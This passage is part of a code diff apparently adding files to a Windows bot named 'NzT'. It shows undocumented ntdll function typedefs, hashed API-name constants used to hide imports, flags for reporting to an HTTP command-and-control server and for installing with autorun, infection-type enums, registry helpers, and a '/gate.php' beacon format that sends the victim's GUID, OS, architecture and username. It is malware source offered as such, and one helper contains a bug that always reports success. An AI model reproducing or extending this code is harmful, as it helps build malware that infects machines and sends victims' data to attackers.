_In_ ULONG ShareAccess,
_In_ ULONG CreateDisposition,
_In_ ULONG CreateOptions,
_In_ PVOID EaBuffer,
_In_ ULONG EaLength
);
typedef NTSTATUS(WINAPI* ptNtOpenFile)(
_Out_ PHANDLE FileHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG ShareAccess,
_In_ ULONG OpenOptions
);
typedef NTSTATUS(WINAPI* ptNtDeleteFile)(IN POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSTATUS(WINAPI* ptNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext, PIO_STATUS_BLOCK ApcStatusBlock, ULONG ApcReserved);
typedef NTSTATUS(WINAPI* ptNtReadVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesReaded);
typedef NTSTATUS(WINAPI* ptNtQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID Buffer, ULONG Length, PULONG ResultLength);
typedef NTSTATUS(WINAPI* ptNtOpenThread)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ PCLIENT_ID ClientId
);
typedef NTSTATUS(WINAPI* ptNtQueryInformationThread)(
HANDLE ThreadHandle,
int ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* ptNtCreateSection)(
_Out_ PHANDLE SectionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize,
_In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes,
_In_opt_ HANDLE FileHandle
);
typedef NTSTATUS(WINAPI* ptNtResumeThread)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount
);
typedef NTSTATUS(WINAPI* ptLdrInitializeThunk)(
DWORD Unknown1,
DWORD Unknown2,
DWORD Unknown3
);
typedef NTSTATUS(WINAPI* ptNtFreeVirtualMemory)(IN HANDLE ProcessHandle, IN PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG FreeType);
typedef NTSTATUS(WINAPI* ptNtFlushInstructionCache)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize);
typedef NTSTATUS(WINAPI* ptNtSetInformationThread)(IN HANDLE ThreadHandle, IN int ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength);
typedef NTSTATUS(WINAPI* ptNtQuerySystemInformation)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS(WINAPI* ptLdrQueryProcessModuleInformation)(OUT PRTL_PROCESS_MODULES SystemModuleInformationBuffer, IN ULONG BufferSize, OUT PULONG RequiredSize OPTIONAL);
typedef VOID(WINAPI* ptRtlInitUnicodeString)(
_Out_ PUNICODE_STRING DestinationString,
_In_opt_ PCWSTR SourceString
);
typedef NTSTATUS(WINAPI* ptNtWriteFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
typedef NTSTATUS(WINAPI* ptNtReadFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
typedef NTSTATUS(WINAPI* ptRtlStringCbPrintfA)(
_Out_ LPTSTR pszDest,
_In_ size_t cbDest,
_In_ LPCTSTR pszFormat,
...
);
typedef NTSTATUS(WINAPI* ptNtDelayExecution)(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER DelayInterval);
typedef NTSTATUS(NTAPI* ptNtOpenKey)(
OUT PHANDLE pKeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSTATUS(NTAPI* ptNtSetValueKey)(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex OPTIONAL,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize);
typedef NTSTATUS(NTAPI* ptNtQueryValueKey)(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength);
typedef NTSTATUS(WINAPI* ptRtlFormatCurrentUserKeyPath)(
_Out_ PUNICODE_STRING CurrentUserKeyPath
);
typedef NTSTATUS(WINAPI* ptNtQueryInformationFile)(
_In_ HANDLE FileHandle,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass
);
#endif // _NT_H_

45
src/Shared/ntdll_hash.h Normal file
View File

@ -0,0 +1,45 @@
#ifndef _NT_HASH_H_
#define _NT_HASH_H_
#define HASH_NTDLL 0x26797e77
#define HASH_NTDLL_RTLGETVERSION 0xb46508b5
#define HASH_NTDLL_RTLRANDOMEX 0x9ab4737e
#define HASH_NTDLL_NTCREATETHREAD 0xca6b0d7b
#define HASH_NTDLL_NTQUERYINFORMATIONPROCESS 0xa5c44c50
#define HASH_NTDLL_NTCREATEUSERPROCESS 0x05aaa327
#define HASH_NTDLL_NTMAPVIEWOFSECTION 0xa4163ebc
#define HASH_NTDLL_NTCREATESECTION 0x9eee4b80
#define HASH_NTDLL_LDRLOADDLL 0x183679f2
#define HASH_NTDLL_LDRGETDLLHANDLE 0xe21c1c46
#define HASH_NTDLL_NTWRITEVIRTUALMEMORY 0xe4879939
#define HASH_NTDLL_NTALLOCATEVIRTUALMEMORY 0xe0762feb
#define HASH_NTDLL_NTPROTECTVIRTUALMEMORY 0x5c2d1a97
#define HASH_NTDLL_NTDEVICEIOCONTROLFILE 0x5c8e65ac
#define HASH_NTDLL_NTSETCONTEXTTHREAD 0xe1453b98
#define HASH_NTDLL_NTOPENPROCESS 0xdbf381b5
#define HASH_NTDLL_NTCLOSE 0x0d09c750
#define HASH_NTDLL_NTCREATEFILE 0x3ee6cc56
#define HASH_NTDLL_NTOPENFILE 0xa1b1dc21
#define HASH_NTDLL_NTDELETEFILE 0xff9bc7af
#define HASH_NTDLL_NTREADVIRTUALMEMORY 0x81223212
#define HASH_NTDLL_NTQUERYVIRTUALMEMORY 0x03f6f38c
#define HASH_NTDLL_NTOPENTHREAD 0xb7a26d79
#define HASH_NTDLL_NTQUERYINFORMATIONTHREAD 0x31133574
#define HASH_NTDLL_NTRESUMETHREAD 0x6273b572
#define HASH_NTDLL_LDRINITIALIZETHUNK 0xfcea01e0
#define HASH_NTDLL_NTFREEVIRTUALMEMORY 0xe9d6ce5e
#define HASH_NTDLL_NTFLUSHINSTRUCTIONCACHE 0x85bf2f9c
#define HASH_NTDLL_NTSETINFORMATIONTHREAD 0x466f2056
#define HASH_NTDLL_NTQUERYSYSTEMINFORMATION 0x97fd2398
#define HASH_NTDLL_LDRQUERYPROCESSMODULEINFORMATION 0xa1b699e6
#define HASH_NTDLL_RTLINITUNICODESTRING 0x7aa7b69b
#define HASH_NTDLL_NTWRITEFILE 0x3afbe45b
#define HASH_NTDLL_NTREADFILE 0xa2c81105
#define HASH_NTDLL_NTDELAYEXECUTION 0xf5a86278
#define HASH_NTDLL_NTOPENKEY 0xa6951756
#define HASH_NTDLL_NTSETVALUEKEY 0xa566a93e
#define HASH_NTDLL_NTQUERYVALUEKEY 0x55ba7014
#define HASH_NTDLL_RTLFORMATCURRENTUSERKEYPATH 0x7fa58340
#define HASH_NTDLL_NTQUERYINFORMATIONFILE 0xf675d37d
#endif

34
src/Shared/nzt.h Normal file
View File

@ -0,0 +1,34 @@
#ifndef __BOT_H__
#define __BOT_H__
#include "api.h"
#define DEBUG
#define _REPORT // Report to HTTP C2
#define _INSTALL // Install to system and autorun
typedef INT WINERROR; // One of the Windows error codes defined within winerror.h
#define ERROR_UNSUCCESSFULL 0xffffffff // Common unsuccessfull code
#define INVALID_INDEX (-1)
#define CURRENT_PROCESS (HANDLE)-1
#define API(Function) NzT.Api.p##Function
typedef enum INFECTION_TYPES
{
RUNNING_INFECTION = 1,
NEW_INFECTION = 2
} INFECTION_TYPE;
typedef struct
{
API_FUNCTIONS Api;
API_MODULES Modules;
CRC Crc;
INFECTION_TYPE Type;
} NzT_T;
extern NzT_T NzT;
#endif __BOT_H__

171
src/Shared/registry.c Normal file
View File

@ -0,0 +1,171 @@
#include "registry.h"
#include "nzt.h"
#include "utils.h"
#include "crt.h"
static LPWSTR GetRegistryStartPath(INT Hive)
{
LPWSTR Path = NULL;
UNICODE_STRING US;
if (Hive == HIVE_HKEY_LOCAL_MACHINE)
{
if (!StringConcatW(&Path, L"\\Registry\\Machine\\"))
return NULL;
}
else
{
MemoryZero(&US, sizeof(UNICODE_STRING));
if (API(RtlFormatCurrentUserKeyPath(&US)) >= 0)
{
if (!StringConcatW(&Path, US.Buffer))
return NULL;
}
}
if (!StringEndsWithSlashW(Path))
{
if (!StringConcatW(&Path, L"\\"))
{
Free(Path);
Path = NULL;
}
}
return Path;
}
BOOL RegistryOpenKeyEx(CONST LPWSTR KeyPath, HANDLE RegistryHandle, ACCESS_MASK AccessMask)
{
OBJECT_ATTRIBUTES OJ;
UNICODE_STRING US;
BOOL Status = FALSE;
if (!StringToUnicode(&US, KeyPath))
return FALSE;
MemoryZero(&OJ, sizeof(OBJECT_ATTRIBUTES));
OJ.Length = sizeof(OBJECT_ATTRIBUTES);
OJ.Attributes = OBJ_CASE_INSENSITIVE;
OJ.ObjectName = &US;
if (API(NtOpenKey)(RegistryHandle, AccessMask, &OJ) >= 0)
Status = TRUE;
return TRUE;
}
BOOL RegistryReadValueEx(CONST LPWSTR KeyPath, CONST LPWSTR Name, LPWSTR* Value)
{
HANDLE Key;
UNICODE_STRING US;
KEY_VALUE_PARTIAL_INFORMATION* KVPI;
KEY_VALUE_PARTIAL_INFORMATION KV;
DWORD Size = 0;
BOOL Status = FALSE;
if (!StringToUnicode(&US, Name))
return FALSE;
if (!RegistryOpenKeyEx(KeyPath, &Key, KEY_READ))
return FALSE;
MemoryZero(&KV, sizeof(KEY_VALUE_PARTIAL_INFORMATION));
API(NtQueryValueKey)(Key, &US, KeyValuePartialInformation, &KV, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &Size);
if (Size != 0)
{
if ((KVPI = Malloc(Size)) != 0)
{
if (API(NtQueryValueKey)(Key, &US, KeyValuePartialInformation, KVPI, Size, &Size) >= 0)
{
if ((*Value = Malloc(KVPI->DataLength + 2)) != 0)
{
MemoryCopy(*Value, KVPI->Data, KVPI->DataLength);
Status = TRUE;
}
}
Free(KVPI);
}
API(NtClose)(Key);
}
return Status;
}
BOOL RegistryReadValue(INT Hive, CONST LPWSTR Path, CONST LPWSTR Name, LPWSTR* Value)
{
LPWSTR RegistryPath = NULL;
BOOL Status = FALSE;
if ((RegistryPath = GetRegistryStartPath(Hive)) == 0)
return FALSE;
if (StringConcatW(&RegistryPath, Path))
Status = RegistryReadValueEx(RegistryPath, Name, Value);
Free(RegistryPath);
return Status;
}
/*
WINERROR RegistryReadValue(
LPTSTR ValueName,
PCHAR* Buffer,
PULONG BufferSize
)
{
WINERROR Status = NO_ERROR;
HKEY SubKey;
ULONG DataType = 0;
PCHAR pBuffer;
if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR)
{
if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, NULL, BufferSize)) == NO_ERROR)
{
if (pBuffer == Malloc(*BufferSize))
{
if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, pBuffer, BufferSize)) == NO_ERROR)
Buffer = pBuffer;
else
Free(pBuffer);
} //if (pBuffer == Malloc(*BufferSize))
else
Status = ERROR_NOT_ENOUGH_MEMORY;
} // if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, NULL, BufferSize)) == NO_ERROR)
RegCloseKey(SubKey);
} // if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR)
return Status;
}
WINERROR RegistryWriteValue(
LPTSTR ValueName,
PCHAR Buffer,
ULONG BufferSize,
ULONG Type
)
{
BOOL Status = NO_ERROR;
HKEY SubKey;
ULONG DataType = 0;
if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR)
{
if (Buffer)
Status = RegSetValueEx(SubKey, ValueName, 0, Type, Buffer, BufferSize);
else
Status = RegDeleteValue(SubKey, ValueName);
RegCloseKey(SubKey);
}
return Status;
}*/

14
src/Shared/registry.h Normal file
View File

@ -0,0 +1,14 @@
#ifndef __REGISTRY_H__
#define __REGISTRY_H__
enum REGISTRY_HIVE
{
HIVE_HKEY_CURRENT_USER = 0,
HIVE_HKEY_LOCAL_MACHINE = 1
};
BOOL RegistryOpenKeyEx(CONST LPWSTR KeyPath, HANDLE RegistryHandle, ACCESS_MASK AccessMask);
BOOL RegistryReadValueEx(CONST LPWSTR KeyPath, CONST LPWSTR Name, LPWSTR* Value);
BOOL RegistryReadValue(INT Hive, CONST LPWSTR Path, CONST LPWSTR Name, LPWSTR* Value);
#endif

View File

@ -0,0 +1,9 @@
#ifndef __SHELL32_FUNCTIONS_H__
#define __SHELL32_FUNCTIONS_H__
#include <Windows.h>
#include <ShlObj.h>
typedef HRESULT(WINAPI* ptSHGetFolderPathW)(_Reserved_ HWND hwnd, _In_ int csidl, _In_opt_ HANDLE hToken, _In_ DWORD dwFlags, _Out_writes_(MAX_PATH) LPWSTR pszPath);
#endif //__SHELL32_FUNCTIONS_H__

View File

@ -0,0 +1,7 @@
#ifndef __SHELL32_HASH_H__
#define __SHELL32_HASH_H__
#define HASH_SHELL32 0x3b42cf7f
#define HASH_SHELL32_SHGETFOLDERPATHW 0xc7652b3f
#endif //__SHELL32_HASH_H__

10
src/Shared/strings.h Normal file
View File

@ -0,0 +1,10 @@
#ifndef __STRINGS_H__
#define __STRINGS_H__
#define STRING_REPORT_GATE_URL "/gate.php"
#define STRING_REPORT_DATA "type=%d&guid=%s&os=%d&arch=%d&username=%s"
#define WSTRING_BACKSLASH L"\\"
#define WSTRING_DOT_EXE L".exe"
#endif

Some files were not shown because too many files have changed in this diff Show More